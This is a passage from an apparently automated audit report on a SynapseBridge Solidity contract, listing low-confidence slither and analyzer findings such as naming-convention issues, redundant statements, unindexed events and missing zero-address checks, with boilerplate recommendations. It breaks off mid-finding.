1994 |         require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not admin");
1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-034. naming-convention

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	<pre>../../audit_workspace/SynapseBridge.flat.sol:1651 (__AccessControl_init_unchained)</pre>
Status	Open (28% conf.)
Detected By	slither

Description

Function `AccessControlUpgradeable.__AccessControl_init_unchained()` is not in mixedCase

Vulnerable Code

```

1646 |     function __AccessControl_init() internal initializer {
1647 |         __Context_init_unchained();
1648 |         __AccessControl_init_unchained();
1649 |     }
1650 |
>> 1651 |     function __AccessControl_init_unchained() internal initializer {
1652 |     }
1653 |     using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
1654 |     using AddressUpgradeable for address;
1655 |
1656 |     struct RoleData {
```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-035. naming-convention

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../../audit_workspace/SynapseBridge.flat.sol:1075 (__gap)
Status	Open (28% conf.)
Detected By	slither

Description

Variable ContextUpgradeable.__gap is not in mixedCase

Vulnerable Code

```

1070 |
1071 |     function _msgData() internal view virtual returns (bytes memory) {
1072 |         this; // silence state mutability warning without generating bytecode
- see https://github.com/ethereum/solidity/issues/2691
1073 |         return msg.data;
1074 |     }
>> 1075 |     uint256[50] private __gap;
1076 | }
1077 |
1078 | // node_modules/@openzeppelin/contracts-upgradeable/utils/
ReentrancyGuardUpgradeable.sol
1079 |
1080 | /**

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-036. naming-convention

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:1117 (__ReentrancyGuard_init_unchained)
Status	Open (28% conf.)
Detected By	slither

Description

Function `ReentrancyGuardUpgradeable.__ReentrancyGuard_init_unchained()` is not in `mixedCase`

Vulnerable Code

```

1112 |
1113 |     function __ReentrancyGuard_init() internal initializer {
1114 |         __ReentrancyGuard_init_unchained();
1115 |     }
1116 |
>> 1117 |     function __ReentrancyGuard_init_unchained() internal initializer {
1118 |         _status = _NOT_ENTERED;
1119 |     }
1120 |
1121 |     /**
1122 |      * @dev Prevents a contract from calling itself, directly or indirectly.
```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-037. naming-convention

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:1825 (__gap)
Status	Open (28% conf.)
Detected By	slither

Description

Variable AccessControlUpgradeable.__gap is not in mixedCase

Vulnerable Code

```

1820 |     function _revokeRole(bytes32 role, address account) private {
1821 |         if (_roles[role].members.remove(account)) {
1822 |             emit RoleRevoked(role, account, _msgSender());
1823 |         }
1824 |     }
>> 1825 |     uint256[49] private __gap;
1826 | }
1827 |
1828 | // node_modules/@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol
1829 |
1830 | /**

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-038. naming-convention

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:1976 (WETH_ADDRESS)
Status	Open (28% conf.)
Detected By	slither

Description

Variable SynapseBridge.WETH_ADDRESS is not in mixedCase

Vulnerable Code

```

1971 | mapping(address => uint256) private fees;
1972 |
1973 | uint256 public startBlockNumber;
1974 | uint256 public constant bridgeVersion = 6;
1975 | uint256 public chainGasAmount;
>> 1976 | address payable public WETH_ADDRESS;
1977 |
1978 | mapping(bytes32 => bool) private kappaMap;
1979 |
1980 | receive() external payable {}
1981 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-039. naming-convention

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:1535 (__gap)
Status	Open (28% conf.)
Detected By	slither

Description

Variable PausableUpgradeable.__gap is not in mixedCase

Vulnerable Code

```

1530 |      */
1531 |      function _unpause() internal virtual whenPaused {
1532 |          _paused = false;
1533 |          emit Unpaused(_msgSender());
1534 |      }
>> 1535 |      uint256[49] private __gap;
1536 |  }
1537 |
1538 |  // node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol
1539 |
1540 |  /**

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-040. naming-convention

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	<pre> ../../../../audit_workspace/SynapseBridge.flat.sol:1113 (__ReentrancyGuard_init) </pre>
Status	Open (28% conf.)
Detected By	slither

Description

Function ReentrancyGuardUpgradeable.__ReentrancyGuard_init() is not in mixedCase

Vulnerable Code

```

1108 |     uint256 private constant _NOT_ENTERED = 1;
1109 |     uint256 private constant _ENTERED = 2;
1110 |
1111 |     uint256 private _status;
1112 |
>> 1113 |     function __ReentrancyGuard_init() internal initializer {
1114 |         __ReentrancyGuard_init_unchained();
1115 |     }
1116 |
1117 |     function __ReentrancyGuard_init_unchained() internal initializer {
1118 |         _status = _NOT_ENTERED;

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-041. naming-convention

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	<pre> ../../audit_workspace/SynapseBridge.flat.sol:1065 (__Context_init_unchained) </pre>
Status	Open (28% conf.)
Detected By	slither

Description

Function ContextUpgradeable.__Context_init_unchained() is not in mixedCase

Vulnerable Code

```

1060 | abstract contract ContextUpgradeable is Initializable {
1061 |     function __Context_init() internal initializer {
1062 |         __Context_init_unchained();
1063 |     }
1064 |
>> 1065 |     function __Context_init_unchained() internal initializer {
1066 |     }
1067 |     function _msgSender() internal view virtual returns (address payable) {
1068 |         return msg.sender;
1069 |     }
1070 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-042. naming-convention

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:1141 (__gap)
Status	Open (28% conf.)
Detected By	slither

Description

Variable ReentrancyGuardUpgradeable.__gap is not in mixedCase

Vulnerable Code

```

1136 |
1137 |         // By storing the original value once again, a refund is triggered
(see
1138 |         // https://eips.ethereum.org/EIPS/eip-2200)
1139 |         _status = _NOT_ENTERED;
1140 |     }
>> 1141 |     uint256[49] private __gap;
1142 | }
1143 |
1144 | // node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol
1145 |
1146 | /**

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-043. naming-convention

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	<pre>../../audit_workspace/SynapseBridge.flat.sol:1646 (__AccessControl_init)</pre>
Status	Open (28% conf.)
Detected By	slither

Description

Function AccessControlUpgradeable.__AccessControl_init() is not in mixedCase

Vulnerable Code

```

1641 | * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission
to
1642 | * grant and revoke this role. Extra precautions should be taken to secure
1643 | * accounts that have been granted it.
1644 | */
1645 | abstract contract AccessControlUpgradeable is Initializable,
ContextUpgradeable {
>> 1646 |     function __AccessControl_init() internal initializer {
1647 |         __Context_init_unchained();
1648 |         __AccessControl_init_unchained();
1649 |     }
1650 |
1651 |     function __AccessControl_init_unchained() internal initializer {

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-044. naming-convention

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../../audit_workspace/SynapseBridge.flat.sol:1472 (__Pausable_init)
Status	Open (28% conf.)
Detected By	slither

Description

Function PausableUpgradeable.__Pausable_init() is not in mixedCase

Vulnerable Code

```

1467 |     bool private _paused;
1468 |
1469 |     /**
1470 |      * @dev Initializes the contract in unpaused state.
1471 |      */
>> 1472 |     function __Pausable_init() internal initializer {
1473 |         __Context_init_unchained();
1474 |         __Pausable_init_unchained();
1475 |     }
1476 |
1477 |     function __Pausable_init_unchained() internal initializer {

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-045. naming-convention

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	../..../audit_workspace/SynapseBridge.flat.sol:1061 (__Context_init)
Status	Open (28% conf.)
Detected By	slither

Description

Function ContextUpgradeable.__Context_init() is not in mixedCase

Vulnerable Code

```

1056 | * is concerned).
1057 | *
1058 | * This contract is only required for intermediate, library-like contracts.
1059 | */
1060 | abstract contract ContextUpgradeable is Initializable {
>> 1061 |     function __Context_init() internal initializer {
1062 |         __Context_init_unchained();
1063 |     }
1064 |
1065 |     function __Context_init_unchained() internal initializer {
1066 |     }

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-046. naming-convention

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	28%
Location	<pre>../../../../audit_workspace/SynapseBridge.flat.sol:1477 (__Pausable_init_unchained)</pre>
Status	Open (28% conf.)
Detected By	slither

Description

Function PausableUpgradeable.__Pausable_init_unchained() is not in mixedCase

Vulnerable Code

```

1472 |     function __Pausable_init() internal initializer {
1473 |         __Context_init_unchained();
1474 |         __Pausable_init_unchained();
1475 |     }
1476 |
>> 1477 |     function __Pausable_init_unchained() internal initializer {
1478 |         _paused = false;
1479 |     }
1480 |
1481 |     /**
1482 |      * @dev Returns true if the contract is paused, and false otherwise.
```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-047. redundant-statements

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	34%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:374 (this)
Status	Open (34% conf.)
Detected By	slither

Description

Redundant expression "this" inContext

Vulnerable Code

```

369 |     function _msgSender() internal view virtual returns (address payable) {
370 |         return msg.sender;
371 |     }
372 |
373 |     function _msgData() internal view virtual returns (bytes memory) {
>> 374 |         this; // silence state mutability warning without generating bytecode
- see https://github.com/ethereum/solidity/issues/2691
375 |         return msg.data;
376 |     }
377 | }
378 |
379 | // node_modules/@openzeppelin/contracts-upgradeable/utils/
EnumerableSetUpgradeable.sol

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-048. redundant-statements

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	34%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:1072 (this)
Status	Open (34% conf.)
Detected By	slither

Description

Redundant expression "this" inContextUpgradeable

Vulnerable Code

```

1067 |     function _msgSender() internal view virtual returns (address payable) {
1068 |         return msg.sender;
1069 |     }
1070 |
1071 |     function _msgData() internal view virtual returns (bytes memory) {
>> 1072 |         this; // silence state mutability warning without generating bytecode
- see https://github.com/ethereum/solidity/issues/2691
1073 |         return msg.data;
1074 |     }
1075 |     uint256[50] private __gap;
1076 | }
1077 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-049. unindexed-event-address

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	5.4
Confidence	34%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:1465 (Unpaused)
Status	Open (34% conf.)
Detected By	slither

Description

Event `PausableUpgradeable.Unpaused(address)` has `address` parameters but no indexed parameters

Vulnerable Code

```
1460 |     event Paused(address account);
1461 |
1462 |     /**
1463 |      * @dev Emitted when the pause is lifted by `account`.
1464 |      */
>> 1465 |     event Unpaused(address account);
1466 |
1467 |     bool private _paused;
1468 |
1469 |     /**
1470 |      * @dev Initializes the contract in unpaused state.
```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-050. unindexed-event-address

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	5.4
Confidence	34%
Location	../../../../audit_workspace/SynapseBridge.flat.sol:1460 (Paused)
Status	Open (34% conf.)
Detected By	slither

Description

Event PausableUpgradeable.Paused(address) has address parameters but no indexed parameters

Vulnerable Code

```

1455 | */
1456 | abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
1457 |     /**
1458 |      * @dev Emitted when the pause is triggered by `account`.
1459 |      */
>> 1460 |     event Paused(address account);
1461 |
1462 |     /**
1463 |      * @dev Emitted when the pause is lifted by `account`.
1464 |      */
1465 |     event Unpaused(address account);

```

Impact Analysis

Impact assessment pending.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-051. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:688
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
683 |     function totalSupply() external view returns (uint256);
684 |
685 |     /**
686 |      * @dev Returns the amount of tokens owned by `account`.
687 |      */
>> 688 |     function balanceOf(address account) external view returns (uint256);
689 |
690 |     /**
691 |      * @dev Moves `amount` tokens from the caller's account to `recipient`.
692 |      *
693 |      * Returns a boolean value indicating whether the operation succeeded.
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-052. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:697
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
692 | *
693 | * Returns a boolean value indicating whether the operation succeeded.
694 | *
695 | * Emits a {Transfer} event.
696 | */
>> 697 | function transfer(address recipient, uint256 amount) external returns
      | (bool);
698 |
699 | /**
700 | * @dev Returns the remaining number of tokens that `spender` will be
701 | * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 | * zero by default.
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-053. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:706
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
701 | * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 | * zero by default.
703 | *
704 | * This value changes when {approve} or {transferFrom} are called.
705 | */
>> 706 | function allowance(address owner, address spender) external view returns
(uint256);
707 |
708 | /**
709 | * @dev Sets `amount` as the allowance of `spender` over the caller's
tokens.
710 | *
711 | * Returns a boolean value indicating whether the operation succeeded.
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-054. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:722
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```

717 |      * desired value afterwards:
718 |      * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
719 |      *
720 |      * Emits an {Approval} event.
721 |      */
>> 722 |      function approve(address spender, uint256 amount) external returns (bool);
723 |
724 |      /**
725 |       * @dev Moves `amount` tokens from `sender` to `recipient` using the
726 |       * allowance mechanism. `amount` is then deducted from the caller's
727 |       * allowance.
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-055. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:733
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
728 | *
729 | * Returns a boolean value indicating whether the operation succeeded.
730 | *
731 | * Emits a {Transfer} event.
732 | */
>> 733 | function transferFrom(address sender, address recipient, uint256 amount)
external returns (bool);
734 |
735 | /**
736 | * @dev Emitted when `value` tokens are moved from one account (`from`) to
737 | * another (`to`).
738 | *
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-056. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:771
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
766 |  
767 |     function withdraw(uint256 wad) external;  
768 |  
769 |     function totalSupply() external view returns (uint256);  
770 |  
>> 771 |     function approve(address guy, uint256 wad) external returns (bool);  
772 |  
773 |     function transfer(address dst, uint256 wad) external returns (bool);  
774 |  
775 |     function transferFrom(  
776 |         address src,
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-057. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:773
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
768 |  
769 |     function totalSupply() external view returns (uint256);  
770 |  
771 |     function approve(address guy, uint256 wad) external returns (bool);  
772 |  
>> 773 |     function transfer(address dst, uint256 wad) external returns (bool);  
774 |  
775 |     function transferFrom(  
776 |         address src,  
777 |         address dst,  
778 |         uint256 wad
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-058. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1240
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```

1235 |     }
1236 |
1237 |     /**
1238 |      * @dev See {IERC20-balanceOf}.
1239 |      */
>> 1240 |     function balanceOf(address account) public view virtual override returns
(uint256) {
1241 |         return _balances[account];
1242 |     }
1243 |
1244 |     /**
1245 |      * @dev See {IERC20-transfer}.

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-059. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1252
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
1247 |      * Requirements:
1248 |      *
1249 |      * - `recipient` cannot be the zero address.
1250 |      * - the caller must have a balance of at least `amount`.
1251 |      */
>> 1252 |      function transfer(address recipient, uint256 amount) public virtual
override returns (bool) {
1253 |          _transfer(_msgSender(), recipient, amount);
1254 |          return true;
1255 |      }
1256 |
1257 |      /**
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-060. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1260
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```

1255 |     }
1256 |
1257 |     /**
1258 |      * @dev See {IERC20-allowance}.
1259 |      */
>> 1260 |     function allowance(address owner, address spender) public view virtual
override returns (uint256) {
1261 |         return _allowances[owner][spender];
1262 |     }
1263 |
1264 |     /**
1265 |      * @dev See {IERC20-approve}.

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-061. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1271
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
1266 |      *
1267 |      * Requirements:
1268 |      *
1269 |      * - `spender` cannot be the zero address.
1270 |      */
>> 1271 | function approve(address spender, uint256 amount) public virtual override
returns (bool) {
1272 |     _approve(_msgSender(), spender, amount);
1273 |     return true;
1274 | }
1275 |
1276 | /**
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-062. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1289
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```

1284 |      * - `sender` and `recipient` cannot be the zero address.
1285 |      * - `sender` must have a balance of at least `amount`.
1286 |      * - the caller must have allowance for ``sender``'s tokens of at least
1287 |      * `amount`.
1288 |      */
>> 1289 |      function transferFrom(address sender, address recipient, uint256 amount)
public virtual override returns (bool) {
1290 |          _transfer(sender, recipient, amount);
1291 |          _approve(sender, _msgSender(), _allowances[sender]
[_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
1292 |          return true;
1293 |      }
1294 |

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-063. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1307
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```

1302 |      *
1303 |      * Requirements:
1304 |      *
1305 |      * - `spender` cannot be the zero address.
1306 |      */
>> 1307 |      function increaseAllowance(address spender, uint256 addedValue) public
virtual returns (bool) {
1308 |          _approve(_msgSender(), spender, _allowances[_msgSender()]
[spender].add(addedValue));
1309 |          return true;
1310 |      }
1311 |
1312 |      /**

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-064. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1326
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```

1321 |      *
1322 |      * - `spender` cannot be the zero address.
1323 |      * - `spender` must have allowance for the caller of at least
1324 |      * `subtractedValue`.
1325 |      */
>> 1326 |      function decreaseAllowance(address spender, uint256 subtractedValue)
public virtual returns (bool) {
1327 |          _approve(_msgSender(), spender, _allowances[_msgSender()]
[spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
1328 |          return true;
1329 |      }
1330 |
1331 |      /**

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-065. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1695
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
1690 |     event RoleRevoked(bytes32 indexed role, address indexed account, address
indexed sender);
1691 |
1692 |     /**
1693 |      * @dev Returns `true` if `account` has been granted `role`.
1694 |      */
>> 1695 |     function hasRole(bytes32 role, address account) public view returns (bool)
{
1696 |         return _roles[role].members.contains(account);
1697 |     }
1698 |
1699 |     /**
1700 |      * @dev Returns the number of accounts that have `role`. Can be used
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-066. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1743
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
1738 |      *
1739 |      * Requirements:
1740 |      *
1741 |      * - the caller must have ``role``'s admin role.
1742 |      */
>> 1743 |      function grantRole(bytes32 role, address account) public virtual {
1744 |          require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl:
sender must be an admin to grant");
1745 |
1746 |          _grantRole(role, account);
1747 |      }
1748 |
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-067. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1758
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```

1753 |      *
1754 |      * Requirements:
1755 |      *
1756 |      * - the caller must have ``role``'s admin role.
1757 |      */
>> 1758 |      function revokeRole(bytes32 role, address account) public virtual {
1759 |          require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl:
sender must be an admin to revoke");
1760 |
1761 |          _revokeRole(role, account);
1762 |      }
1763 |

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-068. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1778
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
1773 |      *
1774 |      * Requirements:
1775 |      *
1776 |      * - the caller must be `account`.
1777 |      */
>> 1778 |      function renounceRole(bytes32 role, address account) public virtual {
1779 |          require(account == _msgSender(), "AccessControl: can only renounce
roles for self");
1780 |
1781 |          _revokeRole(role, account);
1782 |      }
1783 |
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-069. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1858
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```

1853 |      * Requirements:
1854 |      *
1855 |      * - the caller must have allowance for ``accounts``'s tokens of at least
1856 |      * `amount`.
1857 |      */
>> 1858 |      function burnFrom(address account, uint256 amount) public virtual {
1859 |          uint256 decreasedAllowance = allowance(account,
_msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
1860 |
1861 |          _approve(account, _msgSender(), decreasedAllowance);
1862 |          _burn(account, amount);
1863 |      }

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-070. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1876
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

